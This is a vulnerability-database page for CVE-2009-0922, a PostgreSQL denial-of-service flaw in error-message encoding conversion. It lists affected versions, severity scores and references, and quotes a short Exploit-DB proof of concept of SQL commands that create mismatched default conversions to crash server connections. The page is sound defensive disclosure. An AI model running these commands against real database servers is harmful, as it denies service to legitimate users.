CVE-2009-0922 : Detail

CVE-2009-0922

8.64%V4
Network
2009-03-17
16h00 +00:00
2018-10-10
16h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

PostgreSQL before 8.3.7, 8.2.13, 8.1.17, 8.0.21, and 7.4.25 allows remote authenticated users to cause a denial of service (stack consumption and crash) by triggering a failure in the conversion of a localized error message to a client-specified encoding, as demonstrated using mismatched encoding conversion requests.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:N/AC:L/Au:S/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32849

Publication date : 2009-03-10 23h00 +00:00
Author : Afonin Denis
EDB Verified : Yes

source: https://www.securityfocus.com/bid/34090/info PostgreSQL is prone to a remote denial-of-service vulnerability. Exploiting this issue may allow attackers to terminate connections to the PostgreSQL server, denying service to legitimate users. test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM ascii_to_mic; CREATE CONVERSION test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM mic_to_ascii; CREATE CONVERSION test=# set client_encoding to 'LATIN1';

Products Mentioned

Configuraton 0

Postgresql>>Postgresql >> Version 7.4.24

Postgresql>>Postgresql >> Version 8.0.20

Postgresql>>Postgresql >> Version 8.1.16

Postgresql>>Postgresql >> Version 8.2.12

Postgresql>>Postgresql >> Version 8.3.6

References

http://www.securitytracker.com/id?1021860
Tags : vdb-entry, x_refsource_SECTRACK
http://www.redhat.com/support/errata/RHSA-2009-1067.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/34090
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=134124585221119&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.openwall.com/lists/oss-security/2009/03/11/4
Tags : mailing-list, x_refsource_MLIST
http://sunsolve.sun.com/search/document.do?assetkey=1-66-258808-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/34453
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/0767
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2009:079
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/35100
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/1316
Tags : vdb-entry, x_refsource_VUPEN
http://marc.info/?l=bugtraq&m=134124585221119&w=2
Tags : vendor-advisory, x_refsource_HP
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.